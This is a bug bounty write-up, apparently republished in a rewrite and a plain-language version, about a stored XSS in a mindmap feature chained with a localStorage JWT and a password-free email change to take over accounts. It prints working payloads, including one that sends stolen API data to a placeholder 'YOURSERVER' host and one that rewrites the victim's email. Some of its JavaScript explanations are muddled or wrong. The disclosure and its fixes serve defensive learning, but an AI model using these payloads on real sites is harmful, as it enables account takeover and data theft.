Story of a Full Account Takeover vulnerability N/A to Accepted
A stored cross-site scripting (XSS) vulnerability in a mindmap creation feature allowed an attacker to execute JavaScript in a victim's browser. By chaining this with a JWT token stored in local storage and an email change endpoint that did not require a password, the attacker could change the victim's email address and take over their account.
Published on medium.com
#### Jatin Aesthetic
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a private HackerOne program, so the researcher refers to it as example.com throughout. The product is a site built for group collaboration: companies share data among their people and invite others who already have an account on the site.
One feature lets users create mindmaps, used to store data for different purposes and for memory recall. The feature ships with templates, and creating one issues a request that carries the mindmap content as an html field inside a JSON body.
Setup
The researcher received an invitation to the private program and began testing. No specific tooling, versions or account roles are described beyond that: the work was done against the live application with the account the invitation gave access to.
Finding it
Initial testing looked for the usual classes of bug: CSRF, XSS, session misconfiguration and similar. The mindmap creation request stood out because of the html field:
POST /endpoint
Site: example.com
{"tag1":"abc","tag2":"def","html":"<div>blabla"}
A simple tag, <b>test</b>, was rendered properly. A classic <script>alert(6)</script> did not execute, so the researcher moved to other execution vectors such as <image>, <iframe> and <svg>. The payload <image src=x onerror=alert(5)/> produced an alert, confirming stored XSS.
The report was submitted on the strength of that pop-up. Fifteen days later the program replied, and the researcher's reaction in the write-up was "Woah! really! then how the pop-up came". Rather than argue, the researcher set out to chain the bug with other issues found on the site.
Exploitation
Step 1: understand the token handling
The application used a JWT as CSRF protection on every sensitive request. According to the researcher it changed roughly every 600 seconds. Crucially, the JWT was not stored in cookies but in local HTML storage. That makes it readable by any JavaScript running in the page's origin, which is exactly what a stored XSS gives an attacker.
Step 2: steal the token and exfiltrate data
Because JavaScript can be placed in the onload handler of an svg tag, the researcher built a proof of concept that reads the JWT from local storage, attaches it as a bearer token on an XMLHttpRequest to a sensitive endpoint, and sends the response to a server under the attacker's control using fetch:
POST /endpoint
Site: example.com
{"tag1":"abc","tag2":"def","html":"<svg onload=\"var [redacted]'jwt');var xhr=new XMLHttpRequest();xhr.open('GET','https:/example.com/api/v0/endpoint/', true);xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');xhr.setRequestHeader('Authorization', 'Bearer ' + token);xhr.send();xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText);
fetch('[https://YOURSERVER?q='+xhr.responseText);}};\](https://YOURSERVER?q='+xhr.responseText%29;}};\)"/}"}
The payload reads jwt from localStorage, opens a GET to the sensitive endpoint, sets Accept, Content-Type and an Authorization: Bearer <token> header built from the stolen value, and on a 200 response both alerts the body and forwards it to the attacker's server with fetch.
Step 3: look for account takeover
Earlier testing had shown that the application does not ask for the current password when the email address is changed. That change is made with a PATCH request carrying the auth header:
PATCH /email-change
{"email":"[redacted]"}
Since XMLHttpRequest permits PATCH, the researcher tried to drive this request from the injected script. The first attempt reused the same outer shape, with the payload placed in the html field:
POST /endpoint
Site: example.com
{"tag1":"abc","tag2":"def","html":"<PAYLOAD>"}
The new payload was:
<svg onload=\"var [redacted]'jwt');alert(token);var xhr=new XMLHttpRequest();xhr.open('PATCH','https://site.com/v0/user', true);xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');xhr.setRequestHeader('Authorization', 'Bearer ' + token);var body=**'{"email":"[redacted]"}'**;xhr.send(parsed);xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText) }};\"/>
Step 4: the quoting problem
The difficulty is structural. The whole payload sits inside the html parameter of the outer JSON, so it must be wrapped in double quotes. Inside it, the svg onload handler also needs double quotes, which can be escaped with a backslash. But the PATCH body is itself JSON and needs double quotes too, and those sit inside the already-escaped handler. Escaping them again with two backslashes was accepted by the site, but when the stored payload was loaded the PATCH request was not issued. The console reported "literal contains an unescaped line break". The researcher spent two days on this.
The two failure modes were:
- A single quote in the JSON data of the
PATCHrequest inside theonloadhandler made the request fail with "invalid json". - A double quote in that JSON data was accepted by the site, but the
PATCHrequest failed when the XSS actually ran.
Attempts to build single-quoted JSON and convert it at runtime also failed, because the replacement itself needed double quotes:
var body = {'email':''[redacted]}
body.replace(/'/g, '"')
Step 5: eval to the rescue
After further searching, the researcher found that eval can turn single-quoted JSON into a double-quoted object without any double quotes appearing in the source:
var test = {'a':'b'};
var new = eval('(' + test + ')');
The final payload keeps the body in single quotes, lets eval convert it, and then serialises it back to JSON with JSON.stringify before sending:
<svg onload=\"var [redacted]'jwt');var xhr=new XMLHttpRequest();xhr.open('PATCH','https://example.com/api/v0/user', true);xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');xhr.setRequestHeader('Authorization', 'Bearer ' + token);var body=**'{\\'email\\':\\'[redacted]\\'}';str = eval('(' + body + ')');var parsed=JSON.stringify(str);xhr.send(parsed);**xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText) }};\"/>
The request was accepted. Loading the page that held the stored payload executed the script with no console errors, and within a minute a confirmation email arrived at the attacker's address, asking to verify the new email for the victim's account. The researcher describes this as the result of hundreds of payloads over three to four days, and attributes the difficulty to gaps in their own understanding of how JSON works in JavaScript.
What the final payload does
For any user who visits the mindmap, the script reads the JWT from local storage, issues a PATCH to the user endpoint with that token as a bearer credential, and sets the account's email address to the attacker's. The attacker then confirms the change through the verification email.
Root cause
The stored XSS is the entry point: user-controlled content in the html field of a mindmap is rendered, and a <script> tag did not execute while an image onerror handler did. The impact is amplified by two design decisions. First, the CSRF-protecting JWT is kept in local storage rather than in a cookie, so script running in the origin can read it and replay it as an Authorization header. Second, the email change endpoint accepts a PATCH with only that token and no password confirmation, so possession of the token is enough to move the account to an address the attacker controls. The report does not describe the server-side sanitisation or the exact token lifetime beyond the researcher's estimate of about 600 seconds.
Impact
An attacker who can get a payload stored in a mindmap can take over the account of any user who views it: the victim's JWT is read from local storage, used to change the account email to the attacker's address, and confirmed through the verification email. The same token also allows reading sensitive endpoints and exfiltrating the responses. The attack requires the victim to load the page containing the stored payload. The program accepted the report on the strength of the account takeover proof of concept and paid a bounty.
Fix
The report does not state what the program changed. The measures its findings point to are: sanitise or encode the mindmap html field on output so that event-handler attributes cannot execute, and consider a content security policy that blocks inline handlers; keep CSRF tokens out of reach of page script, for example in HttpOnly cookies with a same-site policy, rather than in local storage; and require the current password, or a fresh re-authentication step, before an email address change is accepted.
Variants to test
- Other handler-bearing elements. Where
<script>is filtered, try<svg onload=...>,<image src=x onerror=...>and<iframe>on any field that is later rendered as HTML. A positive result is script execution when the stored content is viewed. - Token storage. Check whether session or CSRF tokens live in
localStorageorsessionStorage; if they do, any XSS in the origin can read them. A positive result is a payload that reads the token and replays it against an authenticated endpoint. - Sensitive state changes without re-authentication. Look for email or password change endpoints that accept a request with only the session or bearer token. A positive result is a change that completes without the current password.
- Nested JSON quoting. When a payload must live inside a JSON string inside an HTML attribute, test
evalplusJSON.stringifyto build the inner body from single-quoted data, as here. A positive result is the inner request firing from the rendered page with no console errors. - CSRF token rotation. If tokens rotate on a timer, check whether a stolen token remains valid long enough to be replayed, and whether the rotation invalidates old tokens server-side. A positive result is a replayed token still being accepted.
What happened, in plain words
A security researcher found a bug on a private bug bounty program (a site where companies pay people to find security holes). The site was used by companies to share data and invite colleagues. One feature let users create mindmaps: visual diagrams for storing notes. The researcher discovered that the mindmap content was not properly cleaned, so a malicious script could be stored and later run in the browser of anyone who viewed the mindmap. That is called stored cross-site scripting (XSS). The researcher's reaction to the program's reply was "Woah! really! then how the pop-up came", and the researcher went further and chained the XSS with two other weaknesses: the site kept a security token in a place JavaScript could read, and the email change feature did not ask for the current password. By combining these, the researcher could take over any account that viewed the malicious mindmap. The program accepted the report and paid a bounty. This article walks through the whole story step by step, explaining every technical term along the way.
The target and the feature
The researcher received an invitation to a private program on HackerOne (a bug bounty platform). Because the program is private, the site is called example.com throughout. The product is a collaboration site: companies use it to share data among their employees and to invite other people who already have accounts. One feature lets users create mindmaps, which are diagrams used to store information for memory recall. The feature comes with templates. When you create a mindmap, your browser sends a request to the server that includes the mindmap content in a field called html inside a JSON body. JSON is a text format for exchanging data, using curly braces and key-value pairs, like {"name":"value"}.
Finding the bug
The researcher started by looking for common bug types: CSRF (cross-site request forgery, where another site tricks your browser into making a request you did not intend), XSS (cross-site scripting, injecting scripts into pages), session misconfiguration (weak session settings), and similar. The mindmap creation request caught their eye because of the html field:
POST /endpoint
Site: example.com
{"tag1":"abc","tag2":"def","html":"<div>blabla"}
This is an HTTP POST request to /endpoint on example.com. The body is JSON with three fields: tag1, tag2, and html. The html field contains <div>blabla, which is an HTML tag. HTML is the language used to build web pages; tags like <div> define parts of the page. The researcher noticed that the html field accepted HTML and decided to test whether it would accept more dangerous HTML.
First, they tried a simple formatting tag: <b>test</b>. This makes text bold. The site rendered it properly, meaning the bold text appeared on the page. That showed the site was not stripping all HTML. Next, they tried a classic script injection: <script>alert(6)</script>. The <script> tag is used to run JavaScript, the programming language of the web. alert(6) would show a pop-up with the number 6. But this did not execute; no pop-up appeared. The script did not execute.
However, XSS can be executed in other ways. HTML elements can have event attributes, like onerror or onload, which run JavaScript when something happens (e.g. an image fails to load). The researcher tried <image src=x onerror=alert(5)/>. This creates an image element with a source of x (which does not exist), so the browser fires an onerror event, running alert(5). A pop-up appeared. That confirmed the payload executed.
Excited, the researcher reported this finding. Fifteen days later, the program replied. The researcher's reaction in the write-up is: "Woah! really! then how the pop-up came." Rather than argue, the researcher decided to chain the bug with other issues to increase its impact.
Chaining the bug
Step 1: Understanding the token handling
The application used a JWT (JSON Web Token) as CSRF protection on every sensitive request. A JWT is a compact, self-contained token that can carry information and is often used for authentication or anti-CSRF measures. According to the researcher, it changed roughly every 600 seconds (10 minutes). Crucially, the JWT was not stored in cookies but in local HTML storage. Cookies are small pieces of data stored by the browser and automatically sent with requests; local storage is a browser feature that lets JavaScript store data persistently, and it is readable by any script running on the same origin (the same site). That means any XSS on the site can read the token. This is a key weakness: tokens in local storage are accessible to JavaScript, whereas cookies can be marked HttpOnly to prevent JavaScript access.
Step 2: Steal the token and exfiltrate data
Because JavaScript can be placed in the onload handler of an svg tag (SVG is a vector image format that supports scripting), the researcher built a proof of concept. The payload reads the JWT from local storage, attaches it as a bearer token on an XMLHttpRequest to a sensitive endpoint, and sends the response to a server under the attacker's control using fetch. XMLHttpRequest and fetch are JavaScript APIs for making HTTP requests. A bearer token is a token sent in the Authorization header, typically as Bearer <token>. Here is the payload:
POST /endpoint
Site: example.com
{"tag1":"abc","tag2":"def","html":"<svg onload=\"var [redacted]'jwt');var xhr=new XMLHttpRequest();xhr.open('GET','https:/example.com/api/v0/endpoint/', true);xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');xhr.setRequestHeader('Authorization', 'Bearer ' + token);xhr.send();xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText);
fetch('[https://YOURSERVER?q='+xhr.responseText);}};\](https://YOURSERVER?q='+xhr.responseText%29;}};\)"/}"}
Let's break this down line by line. The outer structure is the same POST request to /endpoint with a JSON body. The html field now contains an <svg> tag with an onload attribute. The onload attribute holds JavaScript that runs when the SVG loads. The JavaScript does the following:
var [redacted]'jwt');reads the value stored under the keyjwtfrom local storage and assigns it to the variabletoken.var xhr=new XMLHttpRequest();creates a new XMLHttpRequest object, which is used to make HTTP requests from JavaScript.xhr.open('GET','https:/example.com/api/v0/endpoint/', true);configures a GET request to the URLhttps:/example.com/api/v0/endpoint/(note the single slash afterhttps:; this is likely a typo in the report, but we copy it exactly). Thetruemeans the request is asynchronous.xhr.setRequestHeader('Accept', 'application/json');sets theAcceptheader to indicate the client expects JSON.xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');sets theContent-Typeheader to indicate the request body is JSON (though this is a GET, so no body).xhr.setRequestHeader('Authorization', 'Bearer ' + token);sets theAuthorizationheader toBearer <token>, using the stolen JWT.xhr.send();sends the request.xhr.onreadystatechange = function() { ... }defines a callback that runs when the request state changes. WhenreadyStateis 4 (done) andstatusis 200 (OK), it does two things:alert(xhr.responseText);shows the response in a pop-up, andfetch('[https://YOURSERVER?q='+xhr.responseText);sends the response to the attacker's server atYOURSERVER(a placeholder) via a GET request with the data in the query stringq. The URL in thefetchcall is malformed in the report (it includes markdown link syntax), but we reproduce it exactly.
The payload effectively steals the JWT and uses it to read sensitive data from an API endpoint, then exfiltrates that data to the attacker. An API (Application Programming Interface) is a set of endpoints that allow programs to interact with a service; here, /api/v0/endpoint/ is likely an API endpoint that returns user data.
Step 3: Look for account takeover
Earlier testing had shown that the application does not ask for the current password when changing the email address. That change is made with a PATCH request carrying the auth header. PATCH is an HTTP method used to partially update a resource. Here is the request:
PATCH /email-change
{"email":"[redacted]"}
This sends a PATCH request to /email-change with a JSON body containing the new email address. The request would include the JWT in the Authorization header (as shown in the payloads). Since XMLHttpRequest permits PATCH, the researcher tried to drive this request from the injected script. The first attempt reused the same outer shape, with the payload placed in the html field:
POST /endpoint
Site: example.com
{"tag1":"abc","tag2":"def","html":"<PAYLOAD>"}
The new payload was:
<svg onload=\"var [redacted]'jwt');alert(token);var xhr=new XMLHttpRequest();xhr.open('PATCH','https://site.com/v0/user', true);xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');xhr.setRequestHeader('Authorization', 'Bearer ' + token);var body=**'{"email":"[redacted]"}'**;xhr.send(parsed);xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText) }};\"/>
This payload is similar to the previous one but makes a PATCH request to https://site.com/v0/user (note: site.com is used here, not example.com; we copy exactly). It also includes alert(token); to show the token, and defines a variable body with a JSON string '{"email":"[redacted]"}'. However, there is a mistake: it calls xhr.send(parsed); but parsed is not defined; it should be body. This is likely a typo in the report. The payload also has ** around the body assignment, which is markdown for bold, not part of the code. We reproduce it as is.
Step 4: The quoting problem
The difficulty is structural. The whole payload sits inside the html parameter of the outer JSON, so it must be wrapped in double quotes. Inside it, the svg onload handler also needs double quotes, which can be escaped with a backslash. But the PATCH body is itself JSON and needs double quotes too, and those sit inside the already-escaped handler. Escaping them again with two backslashes was accepted by the site, but when the stored payload was loaded the PATCH request was not issued. The console reported "literal contains an unescaped line break". The researcher spent two days on this.
The two failure modes were:
- A single quote in the JSON data of the PATCH request inside the
onloadhandler made the request fail with "invalid json". - A double quote in that JSON data was accepted by the site, but the PATCH request failed when the XSS actually ran.
Attempts to build single-quoted JSON and convert it at runtime also failed, because the replacement itself needed double quotes:
var body = {'email':''[redacted]}
body.replace(/'/g, '"')
This code tries to create an object with single quotes (but has a syntax error: ''[redacted] should be '[redacted]'). Then it calls replace to replace all single quotes with double quotes. However, the replacement string '"' contains a double quote, which would need escaping in the outer context, causing the same problem.
Step 5: eval to the rescue
After further searching, the researcher found that eval can turn single-quoted JSON into a double-quoted object without any double quotes appearing in the source. eval is a JavaScript function that executes a string as code. Here is the example:
var test = {'a':'b'};
var new = eval('(' + test + ')');
This creates an object test with single quotes. Then eval('(' + test + ')') converts the object to a string (implicitly) and evaluates it as code, producing a new object. The parentheses ensure it's treated as an expression. The result is an object with the same properties, but now with double quotes internally (since JavaScript object literals use double quotes when converted to strings). This avoids using double quotes in the source.
The final payload keeps the body in single quotes, lets eval convert it, and then serialises it back to JSON with JSON.stringify before sending:
<svg onload=\"var [redacted]'jwt');var xhr=new XMLHttpRequest();xhr.open('PATCH','https://example.com/api/v0/user', true);xhr.setRequestHeader('Accept', 'application/json');xhr.setRequestHeader('Content-Type','application/json; charset=utf-8');xhr.setRequestHeader('Authorization', 'Bearer ' + token);var body=**'{\\'email\\':\\'[redacted]\\'}';str = eval('(' + body + ')');var parsed=JSON.stringify(str);xhr.send(parsed);**xhr.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(xhr.responseText) }};\"/>
Let's break this down. The payload is an <svg> tag with an onload handler. The handler does:
var [redacted]'jwt');reads the JWT from local storage.var xhr=new XMLHttpRequest();creates a new XMLHttpRequest.xhr.open('PATCH','https://example.com/api/v0/user', true);configures a PATCH request tohttps://example.com/api/v0/user.- Sets headers:
Accept,Content-Type, andAuthorizationwith the stolen token. var body=**'{\\'email\\':\\'[redacted]\\'}';defines a string containing JSON with single quotes, but escaped with backslashes. The**is markdown bold, not code. The backslashes are needed because the whole payload is inside a double-quoted JSON string, so single quotes don't need escaping, but backslashes do. Actually, in the outer JSON, thehtmlvalue is a string, so any double quotes inside must be escaped with backslash. Single quotes are fine. But here the body string uses single quotes, so why backslashes? The backslashes are escaping the single quotes for the outer JSON? No, single quotes don't need escaping in JSON. This is likely an artifact of the report's formatting. We copy exactly.str = eval('(' + body + ')');evaluates the string as code, converting it to an object. The parentheses ensure it's an expression.var parsed=JSON.stringify(str);converts the object back to a JSON string with double quotes.xhr.send(parsed);sends the request with the JSON body.- The
onreadystatechangecallback alerts the response if successful.
The request was accepted. Loading the page that held the stored payload executed the script with no console errors, and within a minute a confirmation email arrived at the attacker's address, asking to verify the new email for the victim's account. The researcher describes this as the result of hundreds of payloads over three to four days, and attributes the difficulty to gaps in their own understanding of how JSON works in JavaScript.
What the final payload does
For any user who visits the mindmap, the script reads the JWT from local storage, issues a PATCH to the user endpoint with that token as a bearer credential, and sets the account's email address to the attacker's. The attacker then confirms the change through the verification email. This is a full account takeover: the account's email address now belongs to the attacker.
Root cause
The stored XSS is the entry point: user-controlled content in the html field of a mindmap is rendered, and a <script> tag did not execute while an image onerror handler did. The impact is amplified by two design decisions. First, the CSRF-protecting JWT is kept in local storage rather than in a cookie, so script running in the origin can read it and replay it as an Authorization header. Second, the email change endpoint accepts a PATCH with only that token and no password confirmation, so possession of the token is enough to move the account to an address the attacker controls. The report does not describe the server-side sanitisation or the exact token lifetime beyond the researcher's estimate of about 600 seconds.
Impact
An attacker who can get a payload stored in a mindmap can take over the account of any user who views it: the victim's JWT is read from local storage, used to change the account email to the attacker's address, and confirmed through the verification email. The same token also allows reading sensitive endpoints and exfiltrating the responses. The attack requires the victim to load the page containing the stored payload. The program accepted the report on the strength of the account takeover proof of concept and paid a bounty.
Fix
The report does not state what the program changed. The measures its findings point to are: sanitise or encode the mindmap html field on output so that event-handler attributes cannot execute, and consider a content security policy that blocks inline handlers; keep CSRF tokens out of reach of page script, for example in HttpOnly cookies with a same-site policy, rather than in local storage; and require the current password, or a fresh re-authentication step, before an email address change is accepted.
Variants to test
- Other handler-bearing elements. Where
<script>is filtered, try<svg onload=...>,<image src=x onerror=...>and<iframe>on any field that is later rendered as HTML. A positive result is script execution when the stored content is viewed. - Token storage. Check whether session or CSRF tokens live in
localStorageorsessionStorage; if they do, any XSS in the origin can read them. A positive result is a payload that reads the token and replays it against an authenticated endpoint. - Sensitive state changes without re-authentication. Look for email or password change endpoints that accept a request with only the session or bearer token. A positive result is a change that completes without the current password.
- Nested JSON quoting. When a payload must live inside a JSON string inside an HTML attribute, test
evalplusJSON.stringifyto build the inner body from single-quoted data, as here. A positive result is the inner request firing from the rendered page with no console errors. - CSRF token rotation. If tokens rotate on a timer, check whether a stolen token remains valid long enough to be replayed, and whether the rotation invalidates old tokens server-side. A positive result is a replayed token still being accepted.
Glossary
- API: Application Programming Interface; a set of rules and endpoints that allow different software to communicate.
- Bearer token: A type of access token sent in the
Authorizationheader asBearer <token>, granting access to protected resources. - Cookie: A small piece of data stored by a website in your browser and automatically sent with requests to that site.
- CSRF: Cross-Site Request Forgery; an attack that tricks a user's browser into making an unwanted request to a site where they are authenticated.
- CSS: Cascading Style Sheets; used to style web pages.
- eval: A JavaScript function that executes a string as code.
- Exfiltration: The unauthorised transfer of data from a system.
- fetch: A JavaScript API for making HTTP requests.
- HTML: HyperText Markup Language; the standard language for creating web pages.
- HTTP: HyperText Transfer Protocol; the foundation of data communication on the web.
- HttpOnly: A cookie attribute that prevents JavaScript from accessing the cookie.
- iframe: An HTML element that embeds another document within the current page.
- JavaScript: A programming language commonly used to create interactive effects within web browsers.
- JSON: JavaScript Object Notation; a lightweight data-interchange format using key-value pairs.
- JWT: JSON Web Token; a compact, URL-safe means of representing claims to be transferred between two parties.
- localStorage: A browser feature that allows JavaScript to store key-value pairs persistently.
- onerror: An event handler attribute that runs JavaScript when an error occurs, e.g. when an image fails to load.
- onload: An event handler attribute that runs JavaScript when an element finishes loading.
- PATCH: An HTTP method used to apply partial modifications to a resource.
- POST: An HTTP method used to send data to a server to create or update a resource.
- sessionStorage: Similar to localStorage but data is cleared when the page session ends.
- Stored XSS: A type of cross-site scripting where the malicious script is permanently stored on the target server.
- SVG: Scalable Vector Graphics; an XML-based vector image format that supports scripting.
- XSS: Cross-Site Scripting; a vulnerability that allows attackers to inject client-side scripts into web pages viewed by other users.
- XMLHttpRequest: A JavaScript API for making HTTP requests, older than fetch.